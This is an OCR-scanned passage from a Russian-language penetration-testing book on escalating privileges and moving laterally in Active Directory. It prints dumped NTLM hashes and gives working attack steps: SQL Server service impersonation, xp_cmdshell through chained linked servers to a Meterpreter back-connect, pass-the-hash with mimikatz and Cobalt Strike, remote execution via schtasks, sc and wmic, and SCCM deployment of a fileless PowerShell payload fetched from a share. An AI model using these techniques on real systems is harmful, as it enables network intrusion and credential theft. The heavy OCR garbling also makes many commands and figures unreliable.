�dmi n 1s t rato r : 500 : a a d 3 b 4 3 5 b 51404eeaad 3 b4 3 5 b 5 l404ec : 5c5Jd587 7454 73e 1 7 c629053527a84d4 : : :
� ues t : 50 l : aad3b435b5 1404eeaad3b4 3 5 b 5 1 404ee : 3 ld б c teOd lбac9J l Ы 3 c 5 9d7eOc089cO : : :
k rb t g t : 502 : aa d З b 4 3 5 b 5 1404eeaadЗb43 5 b5 1 404ee : e5a69aOba06a3 3 6 7376d c 4 1� 1 1 24e 2a6 :
: ·
J e f a u l t A c c o u n t : SOЗ : aadJb435b51404eeaad3b4 3 5 b 5 1404ee : З l d б c leO d J 6ae9З l Ы З c 5 9 d 7e O c 0 8 9 c O : : :
t e s t segment . l ocal \ t e s t u se r : l l0 5 : aadЗ b 4 3 5 h 5 1 404cPaad3 h 4 3 5 b 5 1 i 0 4 � P 720�dЧ54 f ба 3 665ЬОr92 Ы 5 е f абб2 16 5 :
t e s t segment . l o c a l \ b a c kupadmin : l l 26 : a a d З b 4 3 5 b 5 1404eeaad3b435bS 1404ee : 69052d690d30509c 5 4 6 1 303e8bd753be : :
Рис. 2.23. Успешная репликация учетных данных в secretsdump
Sysadmin SQL Server
Рассмотрим последовательность действий, которую можно применить для исполь
зования учетной записи службы SQL Server, чтобы повысить привилегии от ло
кального администратора до системного администратора DBA.
SQL Server
это еще одно приложение Windows. В случае SQL Server каждый
экземпляр сервера устанавливается как набор служб Windows, которые работают
в фоновом режиме. Каждая из этих служб настроена для работы с учетной записью
Windows. Связанная учетная запись затем используется для глобального взаимо
действия с операционной системой.
-
Основная служба Windows SQL Server
служба SQL Server, которая реализована
в виде �:�риложения sqlservr . ехе. Службы SQL Server могут быть настроены со мно
гими типами учетных записей Windows. Вот их список:
-
L] локальный пользователь;
L1 LocalSystem;
L1 NetworkService;
L] локальная управляемая учетная запись службы;
L] учетная запись управляемого домена;
L] пользователь домена;
L] администратор домена.
Компрометация службы SQL Server может привести к компрометации всего доме
на. Н�, независимо от привилегий учетной записи службы SQL Server в операцион
ной системе, в SQL Server она имеет привилегии sysadmin по умолчанию. Для
получения учетной записи службы мы будем использовать PowerUpSQL (https://
github.com/NetSPl/PowerUpSQL). Для этого нам нужно иметь учетную запись
локального администратора.
Сначала найдем локальный SQL Server. В этом нам поможет команда Get
SQLinstanceLocal. В выводе команды нас интересует строка, содержащая значение
Глава 2
52
Instance :
MSSQLSRV04 \BOSCHSQL.
Следующей командой получим учетную запись SQL
Server:
Invoke-SQLimpersonateService -Verbose - Instance MSSQLSRV04\BOSCHSQL
Нужно убедиться, что все прошло успешно:
Get-SQLServerinfo -Verbose -Instance MSSQLSRV04 \BOSCHSQL
В представленном выводе будет присутствовать строка CurrentLogin : NT Service\
мssQL$BOSCHSQL. В итоге мы получаем привилегию s ysAdrnin ово. Также есть решение,
которое запустит c:md . exe в контексте каждой учетной записи службы SQL, связан
ной с экземШIЯром MSSQLSRV04\BOSCHSQL:
Invoke-SQLimpersonateServi ceCmd -Instance MSSQLSRV04 \ BOSCHSQL
Описанные в этой главе методы повышения привилегий показывают, насколько
компетентными должны быть системные администраторы, обеспечивающие безо
пасность в среде Active Directory.
ГЛАВА 3
Боковое перемещение
в Active Directory
Предположим, вы успешно раздобыли учетные записи пользователей в сети с кон
троллером домена Active Directory и даже смогли повысить собственные привиле
гии. Казалось бы, можно расслабиться и почивать на лаврах. Как бы не так! Что,
если мы захватили не всю сеть, а ее определенный сегмент? Нужно разобраться,
как продвигаться по сети дальше, искать новые точки входа, опоры для проведения
разведки и дальнейшего повышения привилегий.
Техника Lateral Movement
через ссылки Microsoft SQL Server
Для начала - немного теории. Microsoft SQL Server позволяет создавать ссьmки на
внешние источники данных, например другие серверы SQL, базы данных Oracle,
таблицы Excel. Зачастую сервер настроен неправильно, из-за чего подобные ссьmки
(связи или линки), или «связанные серверы», могут использоваться для обнаруже
ния и обхода связей базы данных в сети, получения неавторизованного доступа
к данным или загрузки различных оболочек. Как подобные атаки реализуются на
практике, мы сейчас и разберем.
Вв едение в ссылки
Создание связи на SQL Server довольно тривиально. Эго можно сделать с помощью
хранимой процедуры sp_addlinkedserver или SQL Server Management Studio (SSMS).
Обычно злоумышленники не стремятся создавать линки, но пытаются найти суще
ствующие и эксплуатировать их.
Связи можно просмотреть в меню Объекты сервера --+ Серверы ссылок в SSMS.
В качестве альтернативы они могут быть перечислены с помощью хранимой про
цедуры sp_linkedservers или с помощью запроса select * from master . . sysservers.
Выбирать непосредственно из таблицы sysservers предпочтительно, поскольку так
раскрывается немного больше информации о линках.
Глава 3
54
Для существующих ссылок есть несколько ключевых настроек, на которые следует
обратить внимание. Очевидно, что назначение ссылки, тип источника данных (имя
провайдера) и доступность ссьmки (доступ к данным) важны для использования
связи. Кроме того, исходящие соединения RPC (rpcout) должны быть включены для
ссылок, чтобы, в свою очередь, включить xp_crndshell на удаленных связанных сер
верах.
Злоумышленники при взломе связей базы данных обращают внимание на две ос
новные конфигурации: источник данных (имя провайдера) и способ настройки
линков для проверки подлинности. Сосредоточимся на источниках данных SQL
Server, которые подключаются к другим серверам Microsoft SQL Server.
Каждую из этих связей SQL Server можно настроить для проверки подлинности
несколькими способами. Можно отключить линки, не предоставляя учетнь1е дан
ные для Подключения. Также можно использовать текущий контекст безопасности
или установить учетную запись SQL и пароль, которые будут задействованы для
всех подключений, использующих ссьmку. Как показывает практика, после обхода
всех связей всегда есть одна или несколько настроек с разрешениями sysaclmin; это
позволяет повысить привилегии от начального общедоступного доступа к доступу
sysaclmin, даже не выходя из уровня базы данных.
Хотя только системные администраторы могут создавать ссылки, любой пользова
тель базы данных может попытаться получить к ним доступ. Тем не менее есть две
очень важные вещи, которые нужно понять про использование ссылок:
LI если связь включена (dataaccess установлен в 1 ), каждый пользователь на серве
ре базы данных может использовать сс�ку независимо от прав пользователя
(puЫic, sysaclmin) ;
LI если связь настроена на использование учетной записи SQL, каждое подключе
ние будет с правами этой учетной записи. Другими сло,вами, общедоступный
пользователь на сервере А может потенциально выполнять SQL-запросы на сер
вере В как s ysaclmin.
Ссылки на SQL Server очень просты в применении. Например, следующий за
прос с использованием openquery ( ) перечисляет версию сервера на удаленном сер
вере.
select version from openquery ( " linked_remote_server " ,
' select @@version as version ' ) ;
Также можно использовать openquery для выполнения SQL-запросов по нескольким
вложенным линкам; это делает возможным связывание ссьmок и позволяет исполь
зовать деревья ссылок.
select version from openquery ( " linkl " , ' select version from openquery ( " link2 " , ' ' select·
@@version as version ' ' ) ' )
Подобным же образом можно вложить столько операторов openquery, сколько необ
ходимо для доступа ко всем связанным серверам. Единственная проблема состоит
в том, что каждый вложенный запрос должен использовать вдвое больше одинар
ных кавычек, чем внешний запрос. В результате синтаксис запросов становится
55
Боковое перемещение в Active Directory
довольно громоздким, когда приходится использовать 32 одинарные кавычки
в каждой строке.
Схема эксплуатации изнутри сети
На рис. 3 . 1 показан пример типичной сети связанных баз данных. Пользователь
с общими правами досrупа к DB 1 может перейти по ссылке базы данных на DB2
(разрешения уровня пользователя) и от DB2 до DВЗ (разрешения уровня пользова
теля). Теперь можно перейти по ссылке из DВЗ обратно в DB 1 (разрешения уровня
пользователя) или по ссылке на DB4. Так как эта ссылка настроена с повышенными
привилегиями, следование цепочке ссьuюк DB 1 - DB2 - DВЗ - DB4 дает изна
чально непривилегированному пользователю полномочия пользователя sysadrnin на
DB4, который расположен в «изолированной)) сетевой зоне.
« И зол ированная» сеть
!DBA
084
пользователь
081
DВЗ
Рис. 3.1 . Схема сети связанных баз данных
<::сылки на базы данных также могут запрашиваться с использованием альтерна
тивного синтаксиса, но он не допускает запросы по нескольким ссi.шкам. Кроме
того, фактическая эксплуатация требует, чтобы rpcout бьш включен для ссылок,
и, поскольку он отключен по умолчанию, это вряд ли будет часто использоваться
на практике.
Хотя Microsoft заявляет, что openquery ( ) нельзя использовать для выполнения рас
ширенных. хранимых процедур на свяЗанном сервере, это возможно. Хитрость
заключается в том, чтобы вернуть некоторые данные, завершить оператор SQL и
затем выполнить требуемую хранимую процедуру. Ниже приведен базовый пример
выполнения процедуры с помощью openquery ( )
.
select 1 from openquery ( "linkedremoteserver" , ' select 1 ; ехес master . . хр_cmdshell "dir с : " ' )
Запрос не возвращает результаты хр_cmdshell, но, если хр_cmdshe ll включен и поль
зователь имеет права на его выполнение, он выполнит команду dir в операционной
Глава 3
56
системе. Один из простых способов получить оболочку в целевой системе - вы
звать PowerShell (если этот командный интерпретатор установлен в ОС) и передать
бэкконнект на оболочку Meterpreter. В целом алгоритм действий выглядит сле
дующим образом:
1 . Создать сценарий PowerShell для выполнения своей полезной нагрузки
Metasploit, пример можно взять здесь: https://netsec.ws/?p=331 .
2 . Закодировать скрипт в Unicode.
3. Закодировать в Base64.
4. Выполнить команду
powershell
-noexit
-noprofile
-EncodedConunand
с помощью
xp_cmdshell.
Если хр_crndshell не включен на связанном сервере, возможно, его не удастся вклю
чить, даже если ссылка настроена с привилегиями sysadrnin. Любые запросы, выпол
няемые через openquery, считаются пользовательскими транзакциями, которые не
позволяют сделать перенастройку. Включение хр_cmdshel l с помощью sp_configure
не изменяет состояние сервера без перенастройки и, следовательно, хр_cmdshel l ос
танется отключенным. Если rpcout включен для всех ссылок внутри пути ссьmки,
можно включить хр_cmdshell, испо.riьзуя следующий синтаксис.
execute ( ' sp_configure "xp_cmdshe l l " , 1 ; reconfigure; ' ) at LinkedServer
Но, как уже отмечалось, rpcout по умолчанию отключен, поэтому он вряд ли будет
работать с длинными цепочками ссылок.
Схема эксплуатации извне
Хотя ссьшки на базы данных могут стать неплохим способом повысить привилегии
после того, как получен аутентифицированный доступ к базе данных внутри сети,
более серьезный риск возникает, когда связанные серверы доступны извне. Те же
SQL-инъекции очень распространены, и успешная атака дает возможность выпол
нять произвольные запросы SQL на сервере базы данных. Если соединение с базой
данных веб-приложения сконфигурировано с наименьшими привилегиями (что
происходит довольно часто), то нетрудно увеличить разрешения для внутренней
сети, где, вероятно, расположен сервер базы данных. Однако, как упоминалось ра
нее, любому пользователю, независимо от его уровня привилегий, доступны пред
варительно настроенные связи между базами данных.
На рис. 3 .2. показан путь атаки извне. Найдя SQL-инъекцию на сервере веб
приложений, злоумышленник может начать переходить по ссьшкам DB 1 --+ DB2 --+
DВЗ --+ DB4. И после получения разрешений sysadrnin на DB4 он может выполнить
xp_cmdshell, чтобы запустить PowerShell и получить бэкконнект.
Таким образом, злоумышленник получает привилегии в изолированном сегменте
корпоративной сети и может претендовать на компрометацию всего домена, при
этом изначально не имея доступа к внутренней сети.
Боковое перемещение в Active Directory
N
о(
::'Е
о
..с
5;
(.)
""
"'
:r
..с
с:;
�
о
с::
,.--� --!
1
�
l
�"""'"'"'""
57
«И золированная» сеть
�
)
-
081
082
Рис. 3.2. Схема атаки на связанные базы извне
Как автоматизировать
обнаружение пути эксплуатации
Для автоматизации перечисления и обхода ссылок после того, как первоначальный
доступ к SQL Server получен, можно применить уже упоминавшийся в предыду
щих статьях инструмент PowerUpSQL
(https://github.com/NetSPI/PowerUpSQL).
Функция Get-SQLServerLinkCrawl может использоваться для сканирования всех дос
тупных путей связанных серверов, а также перечисления версий программного
обеспечения и привилегий, с которыми настроены ссылки. Чтобы запустить Get
SQLServerLinkCrawl, нужно будет предоставить информацию об экземпляре базы
данных для начального подключения к БД и учетные данные, используемые для
авторизации . По умолчанию скрипт выполняется с использованием встроенной
аутентификации, но при желании можно указать альтернативные учетные данные
домена и учетные данные SQL Server.
Для вывода в консоль воспользуемся следующей командой:
Get-SQLServerLinkCrawl -verbose -instance " [ ip-addre s s ] \SQLSERVER2 0 0 8 "
Для вывода ж е по сети используем функцию следующим образом:
Get-SQLServerLinkCrawl -verbose -instance " [ ip-addre s s ] \SQLSERVER2 0 0 8 " -username
' gues t ' -password ' guest ' 1 Out-GridView
58
Гла ва З
Результаты будут включать экземпляр базы данных, информацию о ее версии,
пользователя ссылки, привилегии пользователя ссылки на связанном сервере, путь
ссылки на сервер и ссьmки на каждый экземпляр базы данных. Связанные серверы,
которые недоступны, помечаются как неработающие ссылки.
Кроме того, Get-SQLServerLinkCrawl позволяет выполнять произвольные запросы SQL
на всех связанных серверах с использованием параметра -Query . Хр_cmdshel l (для
выполнения команды) и xp_dirtree (для внедрения в UNС-путь) также могут быть
выполнены с помощью параметра -Query.
Get-SQLServerLinkCrawl -instance " [ ip-addres s ] \SQLSERVER2 0 0 8 " -Query "ехес
rnaster . . xp_cmdshell ' whoami ' "
Get-SQLServerLinkCrawl -instance " [ ip-addres s ] \SQLSERVER2 0 0 8 " -Query "ехес
rnaster . . хр_dirtree ' \ \ [ ip ] \ tes t "'
Но согласитесь, что вывод того же BloodHound в виде графа связей через Neo4j ку
да удобней для анализа и поиска пути эксплуатации, чем информация, представ
ленная в виде текста. Можно попробовать сделать аналогичный граф и для Get
SQLServerLinkCrawl. Результаты Get-SQLServerLinkCrawl необходимо экспортировать
в файл ХМL с помощью Export-Clixml.
Get-SQLServerLinkCrawl -verbose -instance " [ ip-addre s s ] \SQLSERVER2 0 0 8 " -username
' guest ' -password ' guest ' 1 export-clixml c : \temp\links . xml
Экспортированный файл XML будет затем преобразован в файл узла и файл ссыл
ки, чтобы их можно было импортировать в базу данных Neo4j . Следующий скрипт
создаст файлы импорта и предоставит необходимые операторы Cypher
(https://neo4j.com/developer/cypher/) для создания графа. Очевидно, что все пути
к файлам жестко закодированы в PowerShell, поэтому их придется заменить, если
вы запустите скрипт. Последние (необязательные) операторы Cypher создают на
чальный узел, с целью указать, где начался обход контента; Serverill должен быть
обновлен вручную, чтобы он указывал на первый SQL Server, к которому бьm по
лучен доступ.
$List
=
Import-CliXml ' C : \temp\l inks . xml '
$Servers
$List 1 select name , version, path, user, sysadmin -unique
' broken link '
=
1 where name -ne
$0utnodes = @ ( )
$0utpaths = @ ( )
foreach ( $Server in $Servers ) {
$0utnodes +=
"$ ( [ string] [ rna th] : : abs ( $Server . Name . GetHashCode ( ) ) ) , $ ( $Serve r . Name ) , $ ( $Serve r . Version) "
if ( $ Server . Path . Count -ne 1 ) {
$ Parentlink
=
$Server . Path [ - 2 ]
foreach ( $ a i n $Servers ) {
if ( ( $ a . Path [ - 1 ] -eq $Parentlink) -or ( $ a . Path -eq $Parentlink) ) {
[ string ] $ Parentname
break
=
$a . Name
59
Боковое перемещение в Active Directory
$0utpaths += " $ ( [math] : : abs ( $ Parentname . GetHashCode ( ) ) ) , $ ( [math] : :
abs ( $Server . Name . GetHashCode ( ) ) ) , $ ( $Server . User) , $ ( $Server . Sysadmin ) "
$0utnodes 1 select -unique 1 out-file
C : \pathtoneo4j \Neo4j \default . graphdЬ\Import\nodes . txt
$Outpaths 1 select -unique 1 out-file C : \pathtoneo4j \default . graphdЬ\Import\ l inks . txt
<#
[OPTIONAL] Cypher to clear the neo4j database :
МАТСН ( n )
OPTIONAL МАТСН ( n ) - [ r ] - ( )
DELETE n, r
Cypher statement to create а neo4j graph - load nodes
LOAD CSV FROM " file : / / /nodes . txt" AS row
CREATE ( : Server { Server!d : to!nt ( row [ O ] ) , Name : row [ l ] , Version : row [ 2 ] } ) ;
Cypher statement to create а neo4j graph - load links
USING PERIODIC СОММIТ
LOAD CSV FROM " file : / / / l inks . txt" AS row
МАТСН (pl : Server { Server! d : t o int ( row [ O ] ) } ) ,
(p2 : Server { Server!d : to!nt ( row [ l ] ) } )
CREATE ( p l ) - [ : LINК { User : row [ 2 ] , Sysaclmin : row [ 3 ] } ] -> (p2 ) ;
[OPTIONAL] Cypher statement to areate а start node which indicates where the crawl
started. This is not automated; first node id must Ье filled in manually
( i . e . replace 1 2 3 4 5 67 8 with the first node ' s id) .
СRЕАТЕ ( : Start { I d : 1 } )
[OPTIONAL] Link start node to the first server
МАТСН (pl : Start { Id : 1 ) ) ,
(p2 : Server { Server! d : 1 2 3 4 5 67 8 ) )
CREATE (pl ) - [ : START ] -> (p2 ) ;
#>
Если все работает хорошо, вы сможете просмотреть график связей, используя
Neo4j Browser (рис. 3 .3 ).
Связанные серверы довольно распространены, и иногда сети связанных серверов
содержат сотни серверов баз данных. Цель Get-SQLServerLinkCrawl состоит в том,
чтобы предоставить простой и автоматизированный способ анализа масштабов
этих сетей и легко найти путь бокового движения.
Глава З
60
Рис.
3.3. График связей серверов баз данных
Pass-the- hash
О технике РТН, как и об одинаковых паролях локальных администраторов на ком
пьютерах домена, уже бьшо рассказано в главе 2. Допустим, проанализировав неко
торые настройки групповой политики, мы выяснили, что на всех компьютерах до
мена имеются одинаковые учетные данные локального администратора и мы смог
ли завладеть этими данными. Далее мы решаем использовать технику pass-the-hash
для доступа к другим машинам в сети, чтобы выполнить боковое движение.
Для этого мы используем mimikatz. Если нам известен открытый пароль, то мы
получаем его хеш с помощью модуля crypto : : hash. Сделать это можно следующей
командой:
crypto : : hash /pas sword : [pas sword]
Теперь можно получить новую консоль под учетной записью, для которой мы
выполняем РТН.
privilege : : debug
sekurlsa : : pth /ntlm: [hash] /user : admin /doma in : .
Однако после проверки доступа мы терпим неудачу (рис. 3 .4).
Дело в том, что существует два идентификатора безопасности SID:
AUTHORITY\Local
account )
Administrators gr �up) .
И S-1-5-114
(NT
AUTHORITY\Local
account
s-1 - 5 - 1 1 3
and
memЬer
(NT
of
Они применяются в групповой политике, чтобы блокировать
Боковое перемещение в Active Directory
61
использование всех локальных учетных записей администраторов для удаленного
входа. А проверить, на каких машинах установлены эти ограничения, может любой
пользователь, который прошел проверку подлинности в домене, просто перечислив
групповые политики (о перечислении групповых политик было сказано в главе 1).
Рис. 3.4. Выполнение РТН с помощью mimikatz
На самом деле, нет возможности передать хеш учетной записи локального админи
стратора, который не имеет относительный идентификатор RID 5 0 0 (Local
Administrator). Так, для любой учетной записи локального администратора без RID
5 0 0, удаленно подключающейся к машине через WMI, PSEXEC или другими мето
дами, возвращаемый токен «фильтруетсю>, даже если пользователь является ло
кальным администратором. Это происходит потому, что нет способа удаленного
перехода в контекст, кроме как через RDP (для которого требуется пароль в виде
открытого текста, если не включен режим Restricted Admin). Поэтому, когда поль
зователь пытается Получить доступ к привилегированному ресурсу удаленно, на
пример, к папке ADMIN$, он видит сообщение Access is denied, несмотря на то что
у него есть административный доступ.
Вдобавок ко всему, когда пользователь, который входит в группу локальных адми
нистраторов на целевом удаленном компьютере, устанавливает удаленное админи
стративное соединение, он не подключается как полный администратор удаленной
системы. У пользователя нет возможности повысить права на удаленном компью
тере, и он не может выполнять административные задачи. Если пользователь хочет
администрировать рабочую станцию с помощью учетки диспетчера учетных запи-
Гла ва З
62
сей безопасности (SАМ), он должен интерактивно войти в систему на компьютере,
который администрируется с помощью удаленного рабочего стола (RDP).
Это объясняет, почему локальные учетные записи администраторов терпят неудачу
при удаленном доступе (кроме как через RDP), а также почему учетные записи до
мена выполняют свои операции успешно. И хотя Windows по умолчанию отключа
ет встроенную учетную запись администратора RID 5 0 0, ее все же довольно часто
можно увидеть в исследуемых системах.
Есть еще одна возможная причина неудачи - так называемый режим одобрения
администратором. Ключ, который указывает на этот режим, хранится в следующем
ключе реестра:
НКLМ\SOFТWARE\Мicrosoft \Windows\CurrentVersion\Policies\Systern\FilterAdministratorToken
и по умолчанию он отключен. Однако если этот параметр активирован, учетная
запись с RID 5 0 0 зарегистрирована в UAC. Это означает, что удаленный РТН к ма
шине, использующей эту учетную запись, завершится неудачно.
Если ключ
HКLМ\SOFТWARE\Microsoft \Windows\CurrentVersion\Policies\Systern\
LocalAccountTokenFilterPolicy
существует и имеет значение 1, тогда удаленным подключениям от всех локальных
администраторов предоставляются полные маркеры доступа. Это означает, что
подключения к учетной записи без RID 5 0 0 не фильтруются (рис. 3 .5, 3 .6).
Туре
AllerдdmiМcЬn
V-T
ie!!! �
��
.Jlromp!OnS«urtQeslctop
..,_...,....
�
�
VllldltoAdminl:odeSignalurtl
llIO_SZ
llЮ_DWOllO
R!G.OWORO
AEGJ)WORO
R!G_OWORO
RIOJ!WORO
RfG.J)WOltl)
REG_OWORO
REGj!WORO
l\Щj)WO№
RfG..SZ
ЦG_SZ
llIO,DWOl':D
R!G.,OWOIФ
l\IOJWIORD
R!G_pwoRO
RE<i...OWORO
REG_DWORD
Рис. 3.5. Добавление необходи мого ключа
°"*lvtl<ie not Jd)
(bl)QOOO(JGS Cll
(bl)(J(QJOO) 13!
hOOOClllOOO 6'!)
(bllOOQQQ01 !'1)
o.aoaooaoi 111
Oll000001 l'I)
о.ооооооао 811
О11ООООО1 (1)
� f))
О11ООООО1 (1)
О1'1ООСОаОО (О)
� (1)
a.oooooooi 01
OiQOOOQOOO \О)
o.ooooot 0)
Боковое перемещение в Active Directory
63
Рис. 3.8. Успешное подключение с РТН
Но как на своих машинах работают локальные администраторы при включенном
контроле токена? По умолчанию встроенная учетная запись администратора запус
кает все приложения с полными административными привилегиями, т. е. контроль
учетных записей пользователей фактически не применяется. Поэтому, когда дейст
вия удаленного юзера инициируются с использованием этой учетной записи, пре
доставляется маркер с полными привилегиями (т. е. без фильтрации), обеспечи
вающий надлежащий административный доступ! И мы можем это использовать.
Следующий способ кражи и присвоения токена воспроизведен с помощью Cobalt
Strike (https://cobaltstrike.com/). Для начала получим хеш, использовав hashdump
(рис. 3 .7).
Рис. 3.7. Получение хешей с помощью hashdump
Гла ва З
64
:·.
�.!!.U.!.!P' 1цi111 i li. �t 1 1
: :. .
..,, 1·k o r l <lнl : : p t lt /H .... e f : A1J111 ! 11 1 , 1 1 .� t o r
/dщ1ы i о : ,
/н t lл! : L'l'>di> JU<lt>d e c JtJ.i!:IJ /Ь / l'}'fЧU!JfЩJ/f / r н n : " powe rsheH -w l1i (lden"
! · J T�1 <., k �·1t tн•,l( (Jll
tl.)
( Нfl 1t1i111 i k ott f / • <., a.,1�}; н r ·l �f'.t : t p ff1 /ll..,, f' I J "dш i 11 i (.,, t f d ( O f /fJl)fJbl i H J ,
/11 t \Jn : L<J'>db JOtlt>d e c JU.!Ud /Ь f l'}'J'JO /Jf B(}/f / r u n : "p owн� h o: t l ·W l1i d d en" < a1rnыnd
l+ 1
[+]
110' 1
• •l
A(lПli 11 i .._. t f � ! O f
11 c..v- r
' 111Jю.ti 11
pr 011r 1m
.
111 1 11
1
1
1
) ]f\66 > 1, у l ,.,
l "1 lю10<' . "'11 1
1 e ( ei vcd 011 t p u t
PJ O
1 J l)
JlflWP 1 'f1P 1 1 • w fJi 1<JNJ
t
J()'1db !Odt>dN J8J!!J /b/ l'-IЧ'lll / Jf80/1
6443
; н,
LL!Ill О
J
"" " ! U
k пl1н11'
\ J t� .,, )f._1{1
Ье.н Qll>
I H':,JLIJ (000U()0JJO : UO!)< l0Ni)
d.1t.1 < •J• Y •] ООПN34
ОК
d o tп сору ц JJ1.f3(j',f l1
f1t11�н
- :.-- lltJl l
------
Рис. 3.8. РТН с использованием mimikatz в Cobalt Strike
Далее создадим процесс PowerShell (рис. 3 . 8).
mimi katz sekurlsa : : pth /user : [user] /domain : . /ntlm: [hash ] /run : "powershel l -w hidden"
Используем steal _token для кражи токена из созданного mimikatz процесса с из
вестным PID (рис. 3 .9).
Рис. 3.9. Кража токена при помощи steal_tokeп
Теперь мы можем использовать один из нескольких вариантов бокового переме
щения.
1 : запланировать запуск программы на удаленном хосте с помощью at.
Первым делом узнаем, какое на хаете установлено время, после чего планируем
выполнение задачи.
Вариант
shell net time \ \ [addres s ]
shell a t \ \ [ addre s s ]
Вариант
[ НН : ММ ]
[ c : \windows\temp\soft . exe]
2: запустить код в целевой системе через s chta s ks .
shell schtasks /create /tn [name] /tr [ c : \windows \temp\soft . exe] /sc once /st 0 0 : 0 0
/S [ address ] /RU System
·
shell schtasks / run /tn [name] /S [address ]
3: создать и запустить службу через
Команде sc требуется исполняе
мый файл, который отвечает на команды Service Control Manager. Если вы не пре
доставите ей такой исполняемый файл, ваша программа запустится и сразу же за
кроется. После эксплуатации рекомендуется удалить службу.
Вариант
sc.
Боковое перемещение в Active Directory
shell sc \ \ [addre s s ]
65
create [narne] Ьinpath= [ " c : \windows \temp\ SERVICE . exe " ]
shell s c \ \ [addre s s ] start [narne]
shell sc \ \ [addre s s ]
delete [ name ]
Вариант 4, наиболее распространенный: задействовать wmic (рис. 3 . 1 О)
she l l wmic /node : [ addre s s ] process call create [ " с : \windows \temp\soft . ехе " ]
В примере выше мы загружаем н а хает файл и запускаем его с помощью wmic.
Рис. 3.1 0. Боковое перемещение с помощью wmic
System Center Conf igurotion Monoger
System Center Configuration Manager (SCCM) - продукт для управления IТ-ин
фраструктурой и смежными устройствами. Он предоставляет следующие основные
возможности:
LJ управление обновлениями;
LJ развертывание ПО и операционных систем;
LJ интеграция с NAP;
LJ инвентаризация аппаратного и программного обеспечения;
LJ удаленное управление;
LJ управление виртуализированными и мобильными системами на базе Windows.
Кроме того, SCCM . позволяет ИТ-персоналу автоматически создавать сценарии и
отправлять их клиентам. Если мы сможем получить доступ к SCCM, это станет
отличной платформой для последующих атак. Он тесно интегрирован с Windows
PowerShell, имеет широкую сетевую видимость и несколько клиентов SCCM, спо
собных выполнять код с правами SYSTEM.
Для использования SCCM в качестве инструмента для бокового движения потребу
ется доступ с повышенными правами. Но, как уже было отмечено, SCCM имеет
широкую сетевую видимость, т. е. мы сможем получить доступ к клиентам-
Гла ва 3
66
участникам даже из другого домена. Для удобства доступа к консоли SCCM пред
лагается использовать RDP (к тому же это легитимное программное обеспечение
для управления в большинстве корпоративных сетей, что снижает риск обнаруже
ния, рис. 3 . 1 1 ).
ё..11
Jj 1Е)
"
°""" .
�
f- -+
а-
•
Assets and Compliance
"_
t.- UsctCbl�le<w:м
� �� Cd!IOIOM
' №vigatiort lr>d�x
Uмn:� uиr1 ll'duнr groupt:fcwh hwr.m,
IJиf�'* МigцtlOtl
) " Ai� 1Mf1!�e
.l'dl1
..
·
U.�ioшМINrUИl"collк� � o.. ....
с;.,...... ..._
� se..t.1:��Мin19':\lиt��ll t1'19'•t10flfot��dt'*'1
�')'$�1Мо
��� �
t
� Prot.tФon
SOfМQn�iConf191.1r• <\llН to�� llpplМ;auon- -..
'AН C� Dc!w.n
#! А.ю •llllf Comp�
\
•
��devJtn fortht tw.m,.
. � Cofll!,ctk:ll� ��t.011ect!oмfoftt'\e hlel"мdrf.
l\lи1tn� М.,.t!tc-Assct lntdfigcntt � unf0!1 1�8et
мс1 synchюмt.,,...tf\ � �w� totю:ind'*IOJ't\lмtt tic�
�St.1� M.... <Qr!flf'll'*" � мd c�.ьori�io
•JбeП.-ld�lttfrw.��·ol�Qff �
MC��•Ьr-owned � �COl'J)«att-cмntd Dreotк.esand OevlC:t
""°"""'" """'
Re<:e�t д�.,;;{о):-Last updated-;;;,m 0 15 5:43:42 РМ
dJ ....". .......
·
!J!f; -"....
Рис. 3.1 1 . Консоль SCCM
Для поддержки функции клонирования Active Directory SCCM хранит объекты ма
шин и пользователей, а также сопоставления между ними. Именно благодаря этому
есть возможность контролировать программное обеспечение определенных поль
зователей. Чтобы предоставить доступ к той или иной группе юзеров, SCCM по
зволяет создавать так называемые коллекции. Таким образом, установив контроль
над SCCM, мы можем получить список всех пользователей-клиентов и их компью
теров - из них мы и будем выбирать цели. Кроме того, мы можем посмотреть су
ществующие коллекции или создать свои, что позволит нам применять действия
сразу ко всем участникам в коллекции.
Самый популярный у злоумышленников способ использования функций SCCM выполнение кода PowerShell. Так можно получить бэкконнект-шелл и не оставить
следов на физическом диске. Для этого нам нужно иметь общий ресурс, к которому
выбранные клиенты могут получить доступ. На этом ресурсе мы размещаем текстовый файл, содержащий код PowerShell (рис. 3 . 1 2).
·
tnstall .t.<t • Noteped
l
�uNCt10tl StaRt-Nl!GOТIAte{paraм(Ss,$SK, $UA•" lol ")AdD-TypE -ASsel'IВLY SYsТfм.SecUritY;AdD-ТYpE · aSsEМЬly SYst.М.CorE;:�л
d( "UserЧlgent" ,WA) ;$wc . Нeaders . Add( "Cook1e", "SESSlONID•SID") ; Sraw-$wc . UploadData(Ss+ "lndex . jsp", "POST" , $еЬ) ;SDe•Sl
PSVerSionTAЬlt!. PSVERS1on . М..JOR; SI82•$e . GEtBYteS( Si); $eb2•$IV+SAES. Cl\eaTEEncRypТoR( ) • TRAl>SfoRМF InAlBloCk(SIЫ, 8, $ib:
I
Рис. 3.12. Пример install.txt с вредоносным PowerShell-кoдoм
Боковое перемещение в Active Directoгy
67
Теперь нам нужно создать приложение из меню Application Management. В пер
вом окне будет предложено указать тип установки приложения. Необходимо вы
брать ручной режим (Manually specify the application information, рис. 3 . 1 3).
� lrtfcmnotion
Spocfy settmgs fOf thts appltюn
lca
ApplJCif""' C...iog
О.,,� Тура
Sutnmil)I
l'tog••"
CC"1j>!Won
Рис. 3.1 3. Выбор типа установки приложения
Дальше установка интуитивно понятна, главное - помнить, что чем меньше ин
формации мы указываем, тем лучше. Когда вы дойдете до раздела Specify setting
for this deployment type, необходимо добавить новый тип развертывания - в раз
деле Туре выбрать опцию Script Installer (рис. 3 . 1 4).
Переходим к самой важной части создания приложения - пейлоаду. В этом разде
ле необходимо оставить поле Content Location пустым. В обычных случаях имен
но здесь администратор может указать расположение файлов установки приложе
ния. Поскольку мы хотим избежать взаимодействия с диском, мы не заполняем это
поле. Следом переходим к полям lnstallation program и Installation start in. Здесь
мы собираемся разместить команду, которая и будет выполнять наш пейлоад.
Installation program будет выглядеть примерно так.
cmd . exe /с "powershel l . exe -ер bypa ss -с ' gc \\имя_сервера \общий_ресурс
\директория_приложения \payload . txt 1 I EX ' "
Глава 3
68
Create Deploymet'\t Тур<а Wturd
G<ner•f lnlormolюn
Speafy sett1ngs for lhts �1ent type
Corrtent
t>ttttЬon M�
U.<t hpc;IOIC�
R"'!ui•<11'•nl<
\)•ptl\d-16
Sutnmщ
Progrm
Cornpl<tюn
Туре
